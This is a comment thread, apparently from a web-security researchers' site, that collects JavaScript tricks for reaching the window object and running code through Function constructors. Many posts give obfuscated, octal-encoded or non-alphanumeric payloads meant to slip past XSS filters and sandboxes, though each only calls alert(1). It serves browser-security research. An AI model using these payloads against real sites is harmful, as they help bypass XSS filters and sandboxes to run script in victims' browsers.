Tricks for getting a reference to window (rev 16)

Re: Tricks for getting a reference to window (rev 16)

Yosuke HASEGAWA — Fri, 18 May 2012 01:27:34 -0500

RuntimeObject("w*")["window"]["alert"](1); // IE

http://d.hatena.ne.jp/st4rdust/20120518/1337319251

Re: Tricks for getting a reference to window

Gareth Heyes — Tue, 21 Jun 2011 13:11:41 -0500

Good for breaking sandboxes too

Re: Tricks for getting a reference to window

superevr — Mon, 20 Jun 2011 17:09:17 -0500

I'm not sure what everyone else is using these tricks for, but I found it to be a great way to evaluate octal strings. I needed some new tricks because our old favorite trick "[],[]['sort']()" is not working in the lastest versions of FireFox, and I was also in a situation where comma was not allowed.

So I grabbed some snippets of code from here and built a few code samples. Anything enclosed in '' can be replaced with it's octal equivalent.

'\141\154\145\162\164' = 'alert'

$['__parent__']['alert'](1) //Firebug Console in FF3.6 Only
(0,[]['sort'])()['alert'](1) //FF3.6, Chrome, IE9
1.['__parent__']['alert'](1) //FF3.6
([],[]['sort'])()['alert'](1) //Chrome, FF3.6, IE9
/_/['__parent__']['alert'](1) //FF3.6
$['constructor']('alert(1)')() //JQuery Chrome, IE8, IE9, FF4, FF3.6
(0,[]['valueOf'])()['alert'](1) //Chrome, FF3.6, IE9
(0,{}['valueOf'])()['alert'](1) //Chrome, FF3.6, IE9
(0||$['valueOf'])()['alert'](1) //JQuery Chrome, IE9, FF3.6
(1&&$['valueOf'])()['alert'](1) //JQuery Chrome, IE9, FF3.6
(1?$['valueOf']:0)()['alert'](1) //Jquery Chrome, IE9
[]['sort']['apply']()['alert'](1) //Chrome, FF3.6
(0,/0/(/0/)['sort'])()['alert'](1) //Chrome, FF3.6
('',/\//['valueOf'])()['alert'](1) //Chrome, IE9, FF3.6
(1?['']['valueOf']:0)()['alert'](1) //Chrome, IE9
''['big']['constructor']('alert(1)')() //FF4, FF3.6 IE8, IE9, Webkit
[]['map']['constructor']('alert(1)')() //FF3.6, FF4, Chrome, IE9
(1&&[]['valueOf'])()['alert'](1) //Chrome, IE9, FF3.6
/_/['test']['constructor']('alert(1)')() //FF3.6, FF4, Chrome, IE8, IE9
(0||['']['valueOf'])()['alert'](1) //FF3.6, IE9, Chrome
(0.['valueOf'])['constructor']('alert(1)')() //FF3.6, FF4, IE8, IE9, Chrome
1.['constructor']['constructor']('alert(1)')() //FF3.6, FF4, IE8, IE9, Chrome
(0)['constructor']['constructor']('alert(1)')() //FF3.6, FF4, IE8, IE9, Chrome
$='@mozilla.org/js/function';$::['alert'](1) //FF3.6, FF4

Re: Tricks for getting a reference to window (rev 16)

LeverOne — Fri, 23 Jul 2010 09:27:33 -0500

@theharmonyguy

x=''.split
alert(typeof x()[0])

Re: Tricks for getting a reference to window (rev 16)

Gareth Heyes — Fri, 23 Jul 2010 09:07:24 -0500

@theharmonyguy

Yeah there are some uncorrected mistakes but fixing them is boring maybe we'll get round to it

Re: Tricks for getting a reference to window (rev 16)

theharmonyguy — Fri, 23 Jul 2010 08:15:05 -0500

I was playing around with some of the tricks on this list and came across two issues...

First, some of the ones under "all browsers" use __proto__ and __parent__. But wouldn't those exclude IE (and Opera)? Also, __proto__.__parent__ is undefined in Chrome.

Second, we should perhaps distinguish between getting a window object and getting the window object of the current document. For instance, x=''.split,x(null) returns a window object, but x(null).location is undefined and x(null).eval() doesn't seem to work.

I bring this up because I was trying to create some cross-browser non-alnum code and I couldn't seem to get a useful window object...

Re: Tricks for getting a reference to window (rev 16)

Gareth Heyes — Tue, 20 Jul 2010 08:00:39 -0500

It's almost as good as FF2

.\u0066\u0075\u006e\u0063\u0074\u0069\u006f\u006e::['\137\137\160\141\162\145\156\164\137\137']

Re: Tricks for getting a reference to window (rev 16)

Anonymous User — Tue, 20 Jul 2010 07:49:57 -0500

Amazing stuff that is...

.\u0066\u0075\u006e\u0063\u0074\u0069\u006f\u006e::\u005f\u005f\u0070\u0061\u0072\u0065\u006e\u0074\u005f\u005f

Re: Tricks for getting a reference to window (rev 16)

Gareth Heyes — Fri, 16 Jul 2010 05:23:29 -0500

function:: is the new window!!!!!!!!!!!!!!!!!!!!

function::['alert'](1)

//by me and mario :D

Re: Tricks for getting a reference to window (rev 16)

Gareth Heyes — Thu, 15 Jul 2010 12:25:11 -0500

//sooooooooo sweeeeeeeeeeet
<>.function::__parent__

//All these can be called ;)
__count__,__defineGetter__,__lookupGetter__,__lookupSetter__,__parent__,__proto__,anchor,appendChild,attribute,attributes,big,blink,bold,charAt,charCodeAt,children,concat,constructor,contains,elements,fixed,fontcolor,fontsize,hasOwnProperty,indexOf,isPrototypeOf,italics,lastIndexOf,length,link,localName,localeCompare,match,name,namespace,normalize,parent,propertyIsEnumerable,quote,repeat,replace,reverse,search,slice,small,split,strike,sub,substr,substring,sup,text,toJSON,toLocaleLowerCase,toLocaleString,toLocaleUpperCase,toLowerCase,toSource,toString,toUpperCase,trim,trimLeft,trimRight,unwatch,valueOf,watch

//oh yeah
''.function::__parent__;
[].function::__parent__;
1..function::__parent__;

Re: Tricks for getting a reference to window (rev 16)

Gareth Heyes — Tue, 13 Jul 2010 07:22:38 -0500

Yeah WTF IE:-
document.Script

Re: Tricks for getting a reference to window (rev 16)

Gareth Heyes — Thu, 27 May 2010 08:43:46 -0500

https://groups.google.com/group/google-caja-discuss/browse_thread/thread/903bb21887ed092e (Via Caja)

Re: Tricks for getting a reference to window (rev 16)

SW — Tue, 09 Feb 2010 05:23:47 -0600

A lot of that list above doesn't seem to work any more.

On a similar line as those sort() ones, since I am still failing to understand why it works...

FF only:
[].sort().call()
[]["sort"].apply()

Re: Tricks for getting a reference to window (rev 16)

Gareth Heyes — Tue, 19 Jan 2010 05:34:02 -0600

(1,Object(Array.prototype).sort)()

Re: Tricks for getting a reference to window (rev 16)

Gareth Heyes — Tue, 05 Jan 2010 10:47:41 -0600

hehe IE only, no idea what RuntimeObject does though

RuntimeObject().alert(/I rock/)

Re: Tricks for getting a reference to window (rev 16)

sirdarckcat — Wed, 30 Dec 2009 22:00:10 -0600

well for decimals you can do 1..__parent__ but I see your point heh :) cool!

Re: Tricks for getting a reference to window (rev 16)

Gareth Heyes — Tue, 29 Dec 2009 14:54:44 -0600

2,000,001 way to get window:-

01.__parent__

Why is that anything? Because try:-
1.__parent__

It doesn't work :)

forcing octal numbers allows us to use numbers with () and get properties

Re: Tricks for getting a reference to window (rev 16)

Gareth Heyes — Wed, 02 Sep 2009 07:19:23 -0500

(1,/heh/(/heh/).sort)()

Re: Tricks for getting a reference to window (rev 16)

Gareth Heyes — Mon, 24 Aug 2009 04:56:43 -0500

constructor == window :)

Actually not window but:-
constructor.constructor.constructor("alert(1)")()

Actually yeah window :)
constructor.prototype.__lookupGetter__("top")()

Re: Tricks for getting a reference to window (rev 13)

holiman — Fri, 26 Jun 2009 05:04:35 -0500

Wow, that's nasty. Did you choose variablenames as a means of obfuscation? :)

Re: Tricks for getting a reference to window (rev 13)

Anonymous User — Fri, 26 Jun 2009 02:35:32 -0500

Here's a no-alnum no-parenthesis reference to window - quite nasty but almost twitterable :)

[ö='__'][õ=/^/[Ô=[Ó=![Ò={}+ö]+Ò][Õ=!!Ò+ö]+Ò,Ò[Ø=-~[Ö=-~Ò],ø=Ø*Ø+Ö]+Ò[Ö]+Ô[Ö]+Ó[ò=Ö+Ø]+Õ[ó=-!Ö]+Õ[Ö]+Ô[ó]+Ò[ø]+Õ[ó]+Ò[Ö]+Õ[Ö]]+ö,ö+õ[ø*ò-Ö]+Ó[Ö]+Õ[Ö]+Õ[ò]+Ô[Ö]+Õ[ó]+ö]

166

Re: Tricks for getting a reference to window (rev 13)

thornmaker — Thu, 25 Jun 2009 11:46:42 -0500

@.mario yeah, that's what I'm looking for! thanks

Re: Tricks for getting a reference to window (rev 13)

Anonymous User — Thu, 25 Jun 2009 04:53:10 -0500

You mean like []['__parent__']? All characters can be retrieved - although the p is no fun (constructor, RegExp..) - my first approach for the shortest alnum was using this way but failed miserably in size :)

Re: Tricks for getting a reference to window (rev 13)

thornmaker — Thu, 25 Jun 2009 01:25:36 -0500

i meant to say, non-alphanumeric and without parenthesis

Re: Tricks for getting a reference to window (rev 13)

sirdarckcat — Wed, 24 Jun 2009 21:56:01 -0500

ASCII? \0x00 - \0x7F ?
hahaha no way, you need at least {} or [] or something like that..

Re: Tricks for getting a reference to window (rev 13)

thornmaker — Wed, 24 Jun 2009 19:25:07 -0500

is it possible to get a reference to window without using ascii chars AND without using parenthesis?

Re: Tricks for getting a reference to window

Gareth Heyes — Mon, 22 Jun 2009 07:44:02 -0500

valueOf generally returns the window:-

(1,/a/.valueOf)().alert(1)
(1,/a/.valueOf)(null).alert(1)
(1,/a/.toString.valueOf)().alert(1)
(1,/a/.toString.valueOf)(null).alert(1)
(1,/a/.toString.valueOf)().constructor.constructor.constructor('alert(1)')()

Re: Tricks for getting a reference to window

Gareth Heyes — Mon, 08 Jun 2009 17:41:25 -0500

Re: Tricks for getting a reference to window

Anonymous User — Mon, 08 Jun 2009 17:04:29 -0500

Quote

Date.constructor('return this')()

Re: Tricks for getting a reference to window

Anonymous User — Mon, 08 Jun 2009 11:07:35 -0500

Little bit lame and IE only:

Quote

document.body.setExpression(1,'x=window')